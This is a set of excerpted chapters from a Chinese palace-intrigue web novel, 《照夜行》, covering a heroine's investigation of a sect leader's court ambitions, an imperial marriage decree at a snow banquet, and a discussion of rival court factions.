现在想来,当时在场的绝大多数江湖前辈其实并非心怀善意。故渊门这些年上升的势头太猛,让许多人心生忌惮。他们表面上不说,但在听闻故渊门将门主之位传给了一个半大的孩子之后,多半抱着幸灾乐祸的心态,想要看看这刚刚崛起的门派是怎么毁于一旦的。 他们想看到的事情最终没有发生。故渊门在新任门主司言的带领下,名声越发显赫,势力越发强盛,成为了江湖中人人敬畏的存在。 司言继任门主的时候才多大?阿柔想通过司言现在的年龄推断,却陡然发现她好像从来没问过他的年龄,只能凭着记忆中少年的脸,猜想司言那时应该只有十五六岁。 留宿淮宁城那晚,阿柔曾找花羽当面对峙,问他为何要带着云影派上下去做怀王的死士。花羽却说,投靠怀王并非他的本意,他继任掌门时年纪尚小,威望不足,许多事情都要听派内长老的意见,由不得他自己做主。 阿柔不知道故渊门内的具体情况,但是一个十五六岁的少年独自撑起整个门派,并将其发扬光大,无论如何都是件了不起的事。 只是,司言究竟是怎样在朝中培植眼线的,又为什么要帮助承王谋夺皇位,故渊门内部是否会有人质疑他的决策…… 他下了这么一盘大棋,究竟想做什么? 若司言真的只是为了扶主上位倒还罢了,可万一他图谋的不止于此呢?届时京城之中风起云涌,会有多少人牵涉其中? 从毓秀阁出来之后,阿柔心事重重,一路上魂不守舍,不知道接下来该从何查起。 就在这时,她听到有个熟悉的声音在唤她,“戚小姐。” 阿柔抬起头来,见来人是承王李晁奚,连忙行礼道:“承王殿下。” 这是两人入京以后第一次相见,便驻足多寒暄了两句。 李晁烨问道:“方才见戚小姐神思忧虑,可是出了什么事?” 阿柔摇了摇头,笑了一下,“没什么要紧的,劳烦承王殿下费心了。” 李晁烨知她有意隐瞒,也不勉强,另起一个话题道:“先前西南一行偶遇戚小姐,因得了戚小姐的指点才能拿下黑云寨,剿清烟云四州匪患。如此恩情,本王铭记在心,改日定当去府上拜访。” “殿下客气了,这原是阿柔身为将门之后该做的。”阿柔颔首客套道,“听闻陛下将祁照一案全权交由殿下审理,不知可有进展?” “祁照的诸多罪状早已是板上钉钉,再无转圜,陛下已下令将祁照押解入京,由三司会审。不出意外的话,年前便可结案。”李晁奚沉着地说道。 十余年来,祁照在烟云四州犯下的诸多罪孽终于暴露在阳光之下,可那些因为权力相争而无端横死的生命却依旧难以安息。 想到此处,阿柔不禁悲从中来,轻声问道:“那……张知州呢?” 岐州知州张博尧,本是一寒门出身的穷酸书生,一朝为官,未曾忘本,心系百姓,忧国忧民,在察觉到宣睿侯祁照做了一些见不得人的勾当之后,倾力搜集他为害百姓、祸乱西南的证据,将其整合交由妻子之后,便慨然赴死,未曾有一刻后悔。 他祭上一条性命,让自己的儿子看清世间险恶的真相,却也让他明白何为真正的大义。 提到张知州,李晁奚心中也感慨万千,宽慰道:“张知州生前因得罪了祁照而横死冤狱,现如今冤情已经查清,终可还他生前清白了。” “如此便好。”阿柔听闻这个消息,总算是得到了一些安慰,“张夫人出身江北孙家,是阿柔的表姨,也是景西王府的恩人之后,幸得承王殿下护他们周全,阿柔感激不尽。只是自入京那日分别之后,便再也没有见过他们,不免心焦,不知殿下能否让阿柔见他们一见?” “这有何难?眼下他们正安置在本王府上,戚小姐若是忧心,随时来看便是。”李晁奚大方地说道。 …… 长祈街市,往来不息。 朴素的马车停在清韵阁门口,一个约莫四五十岁的中年男子掀帘下车,抬眼望向茶楼牌匾上“清韵阁”三个字。 茶楼老板宋岳之一早就在门口等待,见状迎上前去,恭敬地说道:“杨大人,公子在楼上雅间等您。” 宋岳之一路引着他上楼,进入到雅间之中。 司言得人通传,一早便在在门口相迎。他恭恭敬敬地行了一个大礼,“晚辈司言,拜见杨大人。” 杨以清紧紧盯着他,双目泛红,神思激荡,心潮翻涌,以至于浑身上下都微微颤抖起来。他张了张口,语气中夹杂着难以抑制的惊喜,说道:“你就是……阿言?” “是我。”相比之下,司言就显得淡定得多。 杨以清将司言上下仔细打量了一番,热切地抓住了他的双手,眼眶湿润,“好……好!阿言都长这么大了。太好了……若是殿下泉下有知,定然也会十分欣慰的。” 说到最后,杨以清几近哽咽。 司言心中亦 22. 宫宴 《照夜行》全本免费阅读 杨以清乍一听到“大昭一日未曾覆灭”这几个字,心头悚然一惊,正襟危坐地喝止:“阿言!” 司言脸上那抹戾色转瞬便消失不见了,他笑了一下,说道:“大人不必担忧,晚辈纵是为了太子生前清誉,也绝无可能做出有损江山社稷之事,更不可能牵连无辜之人。只是当年我师父收留了许多因为政变而遭到迫害的忠臣遗后……” 司言抬眼望向杨以清,一字一句地道:“晚辈许诺,要为他们讨一个说法,让他们从此以后光明正大地行走于世。” 杨以清神情有几分动容,喉结微动,说道:“那你打算如何做?” “要想洗刷他们身上的冤屈,单凭我现在的力量还远远不够。”司言说道,“我要借助承王的力量。” “承王?”杨以清有些愕然,面色沉了几分,“你可知,一旦搅进党争这趟混水,往后再想脱身,便无甚可能了?” “我知道。”司言说道。 杨以清沉默半晌,说道:“今日你约我在这里相见,就是为了让我加入承王的阵营?” “晚辈非是让您加入承王的阵营,只是现如今,承王在朝中势单力薄,又面对怀王这样的劲敌,晚辈希望您能帮衬一二。”司言诚挚地说道,“晚辈知您一身清廉光正,不欲与结党营私之人为伍。若您不愿,晚辈绝不会有半句怨言。” 杨以清神色复杂地望着这个昔日恩人的遗子,问道:“可你为什么偏偏要选承王?他与先太子没有任何关系,又只是个侍妾所出的不受宠的皇子,要想扶他上位绝非易事。再者,人非圣贤,皆会趋利避害,你如何能确信他在上位之后,会助你成事?” “晚辈此番跟随承王赴西南剿匪,便发现这位殿下远不似传言所说那般愚钝不堪、不学无术。相反,他心思沉稳,忍辱负重多年,又见识广远、知人善用,懂得收服人心之道,在短短几个月内就能将圣上拨给他的一支临时拼凑起来的军队整顿得井井有条、上下一心,更可见其能力与手腕。如此人物,当不输于怀王。至于他是否能助我成事……晚辈已有打算。” “既然你意已决,又筹谋至此,我便不再拦你。只是阿言啊……”杨以清叹了一口气,恳切地说道,“你知道当初,我收到来信,知道先太子尚有血脉存活于世间的时候,是怎么想的吗?” 司言定定地看着杨以清,没有应声。 “我那时便在想,这个孩子没有在皇室中长大,不用经历朝局纷争的剑影刀光,又何尝不是一件幸事?”杨以清说道,“若是可以,伯父只想让你平安无虞地活一辈子。” 司言微微垂眸,眼角不自觉地泛红,眼睫微微湿润,抿着嘴一言不发。 杨以清长叹了一口气,说道:“匡扶承王这件事,我不可能即刻应你。身为大昭臣民,毕生所愿唯有国泰民安。若承王殿下当真如你所说,是个统领之才,不用你说,我也自当倾力相助。” 司言知道他这是松口了,连忙站起身来,郑重地躬身行了一礼,说道:“晚辈司言,在此谢过杨大人。” …… 长祈腊月反反复复下了好几场雪,整个京城银装素裹。圣上心血来潮,准备在月中办一场踏雪宴,宴请群臣。 “哥,要不你跟皇上告个假,咱们就不去了吧。”阿柔望着窗外仍未停息的飘飘细雪,有些担忧地说道,“宴会这么长,天气这么冷,又该生病了。” 踏雪宴,意在天子与群臣同乐共赏雪,自然要放在室外举办。然而自打八年前,戚思彦在西北边境身中奇毒之后,便落下了病根,身体大不如从前。虽然在多年的精细调养后略有好转,但每逢深冬还是很容易受寒生病——这也是阿柔暂时不打算离开京城的一个重要原因。 “哪有这么夸张?”戚思彦无奈地笑道,“昨日皇上还同我说你爱玩,让我记得把你也带去。我已经应了,怎么好告假?” 阿柔最终没能说动戚思彦,只能嘱咐侍女明珠备好手炉,随后一道坐马车入宫去。 兄妹二人在宫人的带领下落座。阿柔不动声色地环视了一圈,在座之人,不是皇子贵女,就是天子近臣,人人都穿着得体,举止稳重,一言一行之间未敢有半分失礼。正因如此,其中一个满面胡茬、体型健壮的剽形大汉就显得格外突出。 她虽然不常入京,但记性极好,凡是有过一面之缘的官员,大多能留存一点印象,却怎么也没想起来这人是谁。 阿柔悄悄地靠近身旁的二哥,说道:“二哥,那是谁?” 戚思彦顺着她的目光看去,回答:“镇北大将军林予哲。他常年驻守北境,你也不常回京,不认得他也正常。” 这位将军的名字在朝中可谓是如雷贯耳。林予哲骁勇善战,是个难得一见的军事奇才,但在其他方面却异常愚钝。他不通政事,对旁人的拉拢讨好嗤之以鼻。正因如此,圣上才愈发重用他,最终封他做了镇守北境的大将军。 阿柔遥遥地望过去,见他一个人孤高自傲地坐在哪里,半点不理会身侧同僚间的闲来叙话,看起来当真孤僻寂寞极了。 “听闻北境少数民族屡屡侵犯我大昭边界,大大小小战事不绝,林将军此时不在北境坐镇,入京所为何事?”阿柔皱眉。 “北境边军训练有素,应付蛮夷还算绰绰有余。北境酷寒,皇上念及林将军早年征战,旧病缠身,故而召他回京,在宫里过完年再走。”戚思彦解释说。 阿柔撇了撇嘴,嘟嘟囔囔地说道:“可西北边境赫月六部在阿爹和大哥的镇守下也老实了这么多年,他们怎么不能回京过年啊?” 戚思彦无奈地笑了笑,没有答话。 大昭律法明文规定,藩王无诏不得随意入京。即使边关平稳,无战可打,只要皇上没有主动开口,景西王就不能回来看望自己留在京中的孩子。 身为人臣,阿柔和二哥总不可能去求圣上召阿爹和大哥回京过年。如此一来,不仅容易招来闲言碎语,还徒惹帝王猜忌。 阿柔心中自是有怨。同样是镇守边关、战功显赫的武将,戚家立下的汗马功劳要远超镇北大将军。圣上在重用戚家的同时,也对其心怀猜忌,却十分宠信林将军。这些年来,林予哲越发平步青云,加官进爵从未停止。 不多时,圣上驾临,满座臣子皆起身叩拜行礼。 “众卿平身。”皇上在主位坐下,扬声说道,“朕今日设下踏雪宴,邀请群臣,乃是为了与众卿赏雪同乐,诸位不必拘束。” 纵然皇上的语气再平易近人,群臣依然正襟危坐,不敢有半分懈怠。 宴会正式开始,宫人给各桌贵人添上了上好的热茶和点心。舞女们在腊月寒冬里穿着薄纱襦裙,跟随着乐坊名师的琴音翩然起舞。一时间满座俱欢、其乐融融。 阿柔喝了一口茶,无心看台上的节目。她一点也不觉得“踏雪宴”有多风雅,只觉得冷得瑟瑟发抖,并且担心二哥的身体能不能受得住。 她实在无聊,正想偷偷和二哥聊一会儿天,却突然感到周遭安静了下来。阿柔有些莫名地抬起头,发现舞台中央站着个身着艳红长裙的曼妙女子。 这女子看起来约莫二十多岁,周身气质与方才的教坊舞女全然不同,多了些柔媚和高贵在其中。她生得极其好看,五官立体,鼻梁高挺,盛妆之下却并未显得庸俗,眉间一点花钿,更显明艳动人。 只一眼,阿柔就看出眼前之人绝非普通的舞女。不只是因为气质上的差距,女子身着的宫装、穿戴的首饰显然要比刚才表演节目的舞女要高上不知道多少个档次。阿柔虽然对穿衣打扮方面了解不多,但宫中能为圣上献舞之人,除了教坊司调教出来的舞女,就只有后宫嫔妃,亦或是哪家的名门贵女罢了。 果不其然,红衣女子盈盈一拜,丹唇轻启,“臣妾恭祝皇上万福金安。今日踏雪盛宴,臣妾愿为皇上和各位大人一舞助兴。” 戚思彦在阿柔耳边低声解释道:“这位是熙贵妃。” “哦。”阿柔恍然大悟地拖长了语调。 熙贵妃柳氏,是近些年来最受皇上宠爱的妃子,样貌倾国倾城、举世罕见。因其酷爱舞蹈,皇上花重金派人在宫中为她修了一座惊鸿殿,日日夜夜为她奏乐,和她一齐登台演出。 皇上早年勤勉为政,一门心思放在治国上,也取得了许多成就。只是近来却隐隐有耽于女色、无心朝政的倾颓之势,许多朝臣都为此事进谏,可实际效用却微乎其微。 阿柔前几日进宫时,也曾路过那座惊鸿殿,当时就被它金碧辉煌、极尽豪奢的外观惊得瞠目结舌。可见在皇上心中,当真是极其看重这位熙贵妃的。 舞台两侧的乐师开始弹奏,仙籁乐声从丝竹管弦之中缓缓流泻出来,萦绕在细细风雪之中。 贵妃眼含微波,顾盼生辉,一颦一 23. 妄念 《照夜行》全本免费阅读 戚思彦和乐瑶一左一右站在阶前,静候圣命。 对于皇上突然点他上前的做法,戚思彦早有准备,面上毫无波澜。相比之下,乐瑶就显得茫然许多。 万众瞩目下,皇上悠然开口道:“朕今日设下踏雪之宴,不只为赏乐。冬雪素有祥瑞之兆,定能护佑大昭来年国泰民安。 在座诸位皆知,景西王为大昭开疆拓土、收归蛮夷、镇守边关,实乃大昭肱骨之臣,这些年来劳苦功高。其子戚思彦入朝为官多年,心思敏捷、政绩卓越,常能为朕分忧。故而今日在此,将九公主乐瑶赐婚与大理寺少卿戚思彦。” 此言一出,四下哗然,坐在席间的阿柔更是愣住了。 赐婚?为何会如此突然? 像他们这样的权贵子女,婚姻之事基本做不得主,被圣上赐婚也没什么好大惊小怪的。只不过景西王毕竟位高权重,阿柔本以为,圣上就算要给二哥赐婚,总也得等阿爹回京之后与之商议再做打算,不想直接毫无征兆地在百官面前将自己的女儿许给了他。 乐瑶错愕万分,失声道:“父,父皇?” 两年前,父皇明明亲口允诺她,让她自己做主婚事。父皇最是疼爱她,几乎从来不肯违背她的意愿。可如今为什么突然变卦,连商量都没有? 戚思彦向来稳重知礼,闻言便稽首谢恩道:“臣戚思彦谢陛下赐婚。” 乐瑶神情空白地看了戚思彦一眼,也跪了下来,还想再争取些什么,“父皇,您之前明明……” “好了乐瑶,有什么事回去再说,朕有些累了。”皇上难得没有顺从小女儿的意思,打断她的话,用手按了按太阳穴,一副疲倦的模样。 身旁的熙贵妃连忙为他按摩头部,说道:“今日吹了这么久的风,陛下身体可还受得住?要不今日宴会就到这里吧,陛下赶快回宫歇着去,仔细又生病了。” 乐瑶虽然个性略有些骄纵,但也掂量得清楚轻重,知道自己若是当众拒绝了赐婚,便是在文武百官面前驳了圣上的颜面,也驳了景西王的颜面。乐瑶何等聪明,仔细一想便知道,皇上之所以毫无预兆地在宫宴宣布赐婚一事,就是为了让她乖乖听话,切莫再胡闹。 “也好。”李钰叹了口气,没有去看阶前跪着的两个人,“今日宴会就到此为止,摆驾惊鸿殿。” 熙贵妃柔媚地笑道:“是。” “臣恭送陛下。” 直到李钰和熙贵妃的车辇完全消失不见,百官才陆陆续续地起身离场。 乐瑶被贴身侍女扶着站了起来,垂着头对身旁的戚思彦福身行了一礼,只字未言,带着侍女近乎狼狈地转身跑开了。 戚思彦看着乐瑶匆匆离去的背影,心中说不上是什么滋味,有些麻木地接受着四面八方的官员贺喜的声音,脸上扯出几分微笑来。 阿柔有些担忧地扶住了他,“二哥,你脸色不好,我们快些回去吧。” 戚思彦安抚似的笑了一下,抚了抚阿柔的脑袋,说道:“好。” 他强撑着精神,和身旁前来恭贺道喜的官员同僚们一一道过谢,把面上该做的礼数都做周全了,才领着妹妹往宫外的方向去。 空中还夹杂着毛毛细雪,轻缓缓地飘落下来。阿柔看着身旁兄长单薄的身影紧紧地裹在毛领外氅里,只觉得许久不见,二哥又瘦了好几分,定然没有好好地照顾自己。 急匆匆地回到府中,戚思彦脸色更差了几分,好像还有些发热,侍女明珠扶着他在榻上歇下。阿柔吩咐家丁去寻了大夫来,诊过脉后,说是吹了太久的风,寒气入体,导致旧疾复发,须得安心静养几日。 这些诊断之辞,阿柔年年深冬都要听一遍,早就听习惯了,轻车熟路地拿着药方去煎了药,端给二哥。 戚思彦不爱喝药,总觉得味道太苦,但在阿柔直勾勾的注视下,只能皱着眉一口气喝完。阿柔将空药碗递给明珠,看着二哥恹恹的神色,劝道:“明日早朝就不去了吧,跟皇上告个假。” 戚思彦摇了摇头,声音有些沙哑,“皇上刚赐婚与我,明日我便托辞请假,只怕皇上会觉得有失颜面。” 阿柔不满地嘟囔道:“什么踏雪盛宴,不就是一群傻子聚在一起吹风淋雪么。” 戚思彦困倦地半阖着眼,听了这话,有些被逗笑了,说道:“你这话若被别人听去了,少不得要说你妄议圣上呢。” “说就说吧,我就是看不惯他们这样折腾。”阿柔撇了撇嘴,又回想起宴会上时,戚思彦淡然的反应,说道:“二哥,今日皇上在踏雪宴赐婚之事,你是不是一早就知道了?” 戚思彦轻轻地点了下头。 阿柔张了张口,过了好一会儿才犹豫着问道:“那你……喜欢公主吗?” 戚思彦微微睁开眼,眸中闪烁着难得一见的茫然与窘迫,说道:“自古以来,婚姻之事,鲜少有自己能做主的。两情相悦,也不过是话本里的闲谈罢了。但即便如此……二哥还是希望,往后你能找一个真心待你的人。若是不成,就像现在这样一个人过,也没什么不好的。” 阿柔看过许多民间流传的话本,其中赞颂的大多是比翼双飞、至死不渝的爱情。再加上她经常游历在外,见过快意恩仇、敢爱敢恨的江湖侠侣,便更觉只有真心相爱,方能成就一段好姻缘,就像她阿爹和阿娘,还有大哥和大嫂那般恩爱。 可谁知甫一回京,就碰上圣上强点鸳鸯谱,包办婚姻——更不必说被指婚的其中一人,还是阿柔自小就亲近依靠的二哥。 阿柔说不出心中究竟是什么样的感觉,或许是心疼二哥此生为了王府上下牺牲了太多的骄傲与理想,甚至连婚姻之事都由不得他做主,亦或是在亲眼目睹圣上不容置疑地下旨赐婚后,对自己此身何归也生出了几分迷惘来。 最后,阿柔见二哥药劲上来,已有些困倦,便思绪万千地从二哥的房里退了出来,嘱咐他安心修养,不要再想明日早朝之事。 只是,阿柔并不知道,在她走后,二哥默然地躺在榻上,久久没能入眠。 “你喜欢公主吗?” 一句不经意的提问,将戚思彦的心绪拉扯回了两年前。 正月十五,元宵佳节,长祈灯市如昼。这本该是阖家团圆的日子,奈何阿爹和大哥仍旧守在边关回不来,阿柔也因为一些事情误了回京的行程,因而只剩下戚思彦一个人在京中过年。 戚思彦其实不是一个讨厌热闹的人,只是来到京城之后,一个人的日子过惯了,便也慢慢忘记了从前热闹的日子是什么模样。于是他给王府上下奴仆杂役放了假,自己一个人上街闲游。听着街坊酒肆人来人往的喧闹声,好像就没有那么孤单了。 戚思彦裹着厚厚的外氅,漫无目的地在灯市里穿行着。元宵晚市摊位种类众多,有猜灯谜的,有卖零嘴小吃的,还有卖书法字画、挂件饰品的。 戚思彦从这些摊贩面前经过,却没有什么让他驻足停留。 就在这时,流动的人群突然朝着同一个方向攒动,原本就拥挤的街市显得更加摩肩接踵起来。眨眼间,就有许多人强挤着从戚思彦身后涌上前去。 这种人挤人的感觉,让戚思彦有片刻呼吸不顺,头晕目眩。恍恍惚惚之间,只能听见前面好像是有舞狮表演,才会有那么多人争相往过挤。 “小贼,往哪里跑?!” 一个清脆的女声响起,吸引了周遭许多视线,戚思彦也朝那边望了过去。过度拥挤造成的呼吸不畅,让他整个人都有些呆滞。然而,就在目光望向那说话的少女身上时,视线却陡然清明几分。 眼前之人,不过十五六岁,眉眼清丽动人。她一身正红色齐胸襦裙,襦裙胸口点缀着细腻圆润的象白色珍珠,袖口绣着比翼连枝的纹样,外穿一件直领惊鸿披袄,绾着飞仙髻,在周围灯火辉映中显得更为娇俏明艳。明明一身艳红,却没有半点俗气。 乐瑶擒着一个约莫三十多岁、贼眉鼠眼的男子。那人手腕被紧紧攥着,疼得龇牙咧嘴的。 “怎么回事儿啊?” “这是怎么了?” “什么?有小偷?” “……” 那男子一边吱哇乱叫,一边争辩:“你,你这小娘子,怎么信口胡来,污人清白?” “污你清白?”乐瑶冷笑一声,没有过多解释,伸手便往男子衣袍里面摸。 男子大惊失色,显然没想到一个姑娘家,竟然在光天化日之下说动手就动手,一点也不顾忌男女有别。 周围看戏的人群同样指指点点。 “这是谁家的小娘子哦,行事作风怎的如此剽悍?” “是啊是啊,这不是有伤风化吗?真不知道是谁教出来的。” 乐瑶似是有些不耐,转过头来冲着人群道:“闭嘴!你们这些人,惯会在嘴上占便宜。遇到小偷,可有一个人上来帮忙么?” 刚说完,她就在男子的身上摸出一个纹样精致的荷包来,轻哼一声,说道:“证据确凿,你还有什么可辩的?” “这,这……”男子支支吾吾片刻,梗着脖子嘴硬,“这是我的荷包,姑娘如何就说是我偷的,你可有证据?刚才可有人看见了吗?” “哦?你说这是你的荷包?”乐瑶笑了一下,“你确信吗?” “这有什么不确信的?我的就是我的。”那人似乎是料定乐瑶拿不出证据来,干脆肆无忌惮起来。 “这可奇了。”乐瑶说着,将手中荷包展示出来,“大家看着,这虽只是一个小小的荷包,却是用严州云锦制成的,寻常人家可用不起。再看荷包上的金线绣艺,应当是出自京城锦绣阁。诸位都知道,锦绣阁可是给皇家加工缎料、供给绣品的地方,可见制成这钱袋的料子,十有八九是御赐之物。” 乐瑶每说一句话,男子的脸色就白了几分,说到最后,几乎已是面无人色。 乐瑶不依不饶,直直地看向他,说道:“若我真冤枉了你,定然是要向你赔罪的。既然如此,你不妨向在场诸位说说,这制荷包的缎子究竟是如何得来的?” “我,我……”男子就算再没脸没皮,也不敢贸然自称京城权贵,再加上眼前少女身着打扮以及言谈举止都绝非普通闺阁少女,唯恐又得罪了什么人,于是扔了荷包就仓皇逃跑。 “哎?这人怎么跑啦?” “抓小偷啊,别让小偷跑了!” “……” 乐瑶淡然地看了一眼男子逃跑的背影,轻蔑地笑了一声,弯腰捡起荷包。 戚思彦刚才被拥挤的人潮推搡了半天,尚未从浑浊的空气中缓过神来,还是隐隐有些头晕。恍惚之际,看到刚才抓贼的那个少女正拎着荷包,朝自己的方向走来。 “公子,你的荷包可收好啦。”乐瑶将手中之物递给戚思彦,“冬日天冷,大家都穿得厚,再加上元宵灯会人来人往的,最容易被小偷浑水摸鱼了。” 戚思彦惊奇地一摸腰间,果真空空如也,这才迷迷糊糊地发现刚才丢的竟然是自己身上的荷包,连忙接过来,向乐瑶行礼道:“今日多谢姑娘出手相助,在下感激不尽。” 周围看热闹的人群还未散尽,叽叽喳喳地插着嘴。 “这位公子看着样貌不俗,又有如此家世,是哪家的少爷呀?” “你没听方才那位姑娘说,能用这荷包的,定然是京里的显赫人物。” “我们大昭京城当真是人才济济啊。” 乐瑶看向周围人群,扬声说道:“对不住大家,荷包确是这位公子的,但我方才所说缎料一事,实在是形势所迫,诓那小贼的,大家不必放在心上,更不必打扰这位公子。今日正月十五,诸位切莫为了一点小事而劳心伤力,既然事情解决了,便各自散了吧。” 围观之人听闻被骗,立时拉下脸来,骂骂咧咧地走了。片刻之后,就只剩下戚思彦和乐瑶还留在原地。 人群散去,空气瞬间变得清朗了起来,刚才那种呼吸不上来的感觉也在不觉间消散了。 戚思彦看向乐瑶的脸。只见烛光衬得她的面容精致秀丽,额间一抹花钿,画着柳叶眉,脸颊晕染着红妆,如同浅酌一杯后的醉态,更添少女独有的娇憨。显然,她今日是特意来逛灯会的,这才会盛装打扮。 目光不经意地相触,激起万千波澜。 戚思彦莫名觉得两颊发烫,不敢再去看少女带笑的眉眼,连忙低下头,再一次郑重行礼,说道:“请姑娘原谅在下失礼,不知姑娘家住何方,在下日后定当亲自登门拜访,送上谢礼。” 乐瑶摆了摆手,很是洒脱地道:“公子不必客气。我向来爱多管闲事,不是图公子的答谢。” 戚思彦却会错了意,慌慌忙忙地解释道:“姑娘,在下不是那个意思,也知道姑娘今日出手,定然未曾图过回报,我……” “你这个书呆子 24. 局势 《照夜行》全本免费阅读 阿柔抬眼看向宅院大门牌匾上“顾宅”这两个大字,又看了看手中字条,疑惑地喃喃自语:“顾宅?可地址上写的就是这里啊。” 她有些犹疑地叩了叩门,不多时,宅内人应声前来。 开门的中年仆妇见了阿柔,没等她说什么,便热情地邀她进门,“是戚姑娘吧,快进来快进来,我们公子正在院中等您呢。” 檐下花厅,炉中煨酒,二人相对而坐。 “你这门匾上为何写的是‘顾宅’呀?我还以为走错路了呢。”阿柔不解。 坐在对面的人正是司言,他身披象白毛领外袍,眉目星朗,倒真有几分温润如玉的君子模样。他向阿柔解释说:“不用真名,自是为了掩人耳目。外面的人只当这宅子里住的是个姓顾的读书人家,不知道是我。对了,戚少卿近来怎么样,身子可好些了?” 事情还要追溯到踏雪宴那日,二哥因为吹了太久的风而受了风寒,卧病不起。阿柔心里焦急,四处奔忙,遍寻名医,依然收效甚微。最后还是司言听说了这件事,托人送了好些珍惜药品来王府,又借故渊门的名号,寻来了江湖中颇有名望的郎中去给戚思彦瞧病,这才慢慢好转起来。 为此,阿柔心中甚是感激,一定要带着回礼登门道谢。 “劳你费心,已好多了,这次真的多谢你了。”阿柔说道。 “举手之劳,不足挂齿。”司言摆了摆手,“我听闻,踏雪宴后,陛下的旧疾也隐隐有复发之象,正逢年关将至,干脆提前放假休朝,戚少卿正可安心修养一阵。” 一提到踏雪宴,阿柔就忍不住翻了个白眼,嘀嘀咕咕道:“什么踏雪宴,不就是瞎折腾吗。” “皇上近几年来越发喜爱大办宴会,极尽铺张。”司言掰着指头数道,“今日有踏雪宴,明日就有春日宴,往后还会有清凉宴、枫林宴……什么冬日瑞雪祥兆,春日万物滋长,都只不过是个由头罢了。” 阿柔知道司言消息灵通,连宫内的事情都打听得到,早已见怪不怪了。她皱了皱眉,说道:“你说陛下喜爱铺张设宴?可在我印象里,陛下勤恳为政,并不是那奢靡无度之君啊。” “早年间确是如此,否则大昭也不会有如今的恢宏之景。”司言轻声叹息,“只是圣上岁数渐渐大了,心气能力都不如从前。任谁在一个位置上待个二十多年,都难免会心生倦怠惫懒之意。” 阿柔想起先前进宫时,亲眼见过圣上为熙贵妃打造的惊鸿殿,其金碧辉煌、奢靡气派,至今仍旧难以忘怀。想到此处,她不免有些忧心,“皇上懈怠朝政,臣子应当加以规劝。” 司言说道:“直言劝谏的忠臣从来是不缺的。不过阿柔可知道,现如今,朝中权柄最盛的是谁?” 阿柔想了想,试探着道:“梁相?” “不错,正是梁相。”司言点头赞许道,“梁朝越在宰相之位上把持朝政十几年,虽有几分治国之才,偏偏心眼儿小了些,不肯与别人一同分这杯羹,履履打压贤才,闭塞忠谏之路,如今只手遮天、独揽大权,无人能够制衡。” “一党坐大必然会祸乱朝政、动摇皇位,皇上既能为了打压怀王党而提携太子和承王,怎么就没想过灭一灭梁家的气焰呢?”阿柔疑惑着问。 “当初皇上还未即位时,梁相便死心塌地地效忠于他。再加上梁朝越早年时还不似现在这般锋芒毕露,又不涉党争,皇上便格外宠信他。一直到近年来,皇上身体愈发不好,逐渐荒于朝政,梁朝越这才把持大权、锋芒尽显。”司言解释道,“梁朝越在相位坐了十几年,根基稳固。这个时候才想着掣肘打压,已是来不及了。” 阿柔细想了想,觉得也有些道理。倘若她对一个人给予了十几年的信任,定然也很难那人会坑害自己。 “如此看来,这长祈倒不如表面上风平浪静,简直是危机四伏啊……”阿柔沉声说道,突然想起了什么,“那镇守北境的林予哲林将军呢?他为何能得到圣上如此宠信?” “怎么忽然想起问他了,莫不是那日在踏雪宴上见了?”司言见她点头,便解释道,“说起来这人跟梁相也有点关系,算是梁相一手提拔出来的。” “提拔?”阿柔一头雾水,“你方才说梁相不喜别人与他争抢权力,又为何会提拔林予哲呢?” 司言说道:“这林将军原是奴籍出身,身上流着一半北境羌夷族的血脉。梁朝越以为他身份血脉如此卑贱,将来定然也构不成什么威胁,便一路扶持他上位,以便在军中有所照应。” 阿柔敏锐地捕捉到他的话外之意,又问:“你说这是他原先的想法,难不成后来事情发展并非如他所愿么?” “阿柔当真是聪明。”司言笑着夸奖了一句,“这林予哲表面看起来粗糙剽悍,是个不通政务的行伍汉子,实际上心里的盘算多着呢。这种人从小在泥里面长大,只要给他一根藤,就能顺着拼命爬上来。林予哲权势越来越大,远远超过了梁相最开始的预料,自是不愿轻易受旁人控制,慢慢地就彻底闹掰了。” 阿柔以往虽然也对朝政略有了解,但大多数时候仍过着闲云野鹤的日子。骤然听了这么多信息,还有点茫然无措,“可就算他是梁相一手扶持起来的,也不足以让皇上这么看重,这么……偏心吧?” 阿柔每每想到,同样是将门之家,皇上如此宠信林将军,却对戚家充满了忌惮,总是有些不忿。 司言回答说:“他表面看着忠厚老实,没有一点心眼儿,不与朝中任何人结党营私,又惯会把握圣上的心意,总能投其所好、取悦圣心。不过这个人最厉害的一点,当属于剑走偏锋、喜欢豪赌。皇上忌惮怀王势力独大,有损天子皇权,林予哲就当众不给怀王面子。皇上有心打压梁相的气焰,林予哲就顺其自然地与梁相撕破脸皮,自成一派,与之制衡。” 阿柔惊得有些不会说话了,“他,他,他胆子这么大?为了得到圣上信任,谁都敢得罪?这么狠啊……” “不止如此呢。”司言摇了摇头,意味深长地说道,“朝中有人弹劾林予哲,说他独揽北境军政大权,狼子野心,恐怕有谋反之意。圣上半信半疑,召他进宫试探。没想到,这林予哲一至御前,便直直地跪了下来,然后……” “然后什么?” “然后对皇上说,他愿意把自己的一双儿女交由圣上抚养,以鉴其忠心。” 阿柔瞪大了眼睛,“他拿儿女的性命为自己担保?” 当初就是因为圣上忌惮戚家,忌惮景西王手中所握的兵权,才会强留次子戚思彦在朝中做文官,本质上就是做人质。而这位林将军,知道圣上疑心,干脆不等他开口,主动提出来送儿女入宫做人质。 两相比较,效力可是大大不同。 司言抿了抿唇,“皇上应了他的请求,真将他一双儿女接进宫中抚养。林予哲再未生育子嗣。自那以后,皇上就对林将军百般信赖,对于他的请求无有不应。” 阿柔自小在万般宠爱中长大,想象不来什么样的父亲才会忍心将自己的孩子作为筹码,来换自己前途光明。 林予哲如此做法,要么是因为当真光明磊落、清清白白,要么就是因为心狠手辣,连亲生儿女都算计在其中。 若是前者,倒还算是大昭朝廷之幸,若是后者……那就太危险了。 “我知道你无法理解如此做法,毕竟不是所有人家都像你家那样亲近和睦、相互扶持。一旦涉及利益,便抛妻弃子、手足相残的事情日日都在发生。”司言轻轻叹了口气。 “有道是虎毒不食子。”阿柔轻声说道。 “可偏巧豺狼好当道啊。”司言驳道。 阿柔喝了一口刚煨好的热酒,脑海中还在消化着刚才查探到的所有信息,对于现如今朝廷错综复杂的局势又有了更深一层的了解。 “可是他们他们图什么呢?”阿柔放下酒杯,歪了歪脑袋。 “为何这么问?”司言饶有兴致地看向她。 “怀王和承王争皇位,这梁相和林将军又是在争什么?”阿柔撇了撇嘴。 “怀王和承王争皇位,皇位代表什么?代表的是权力。”司言说道,“同理,梁相和林将军相斗,自然也是为了权力。” 阿柔摇了摇头,“权力太重,也不是什么好事。遭人嫉恨不说,稍有不慎,可是要丢了性命的。” 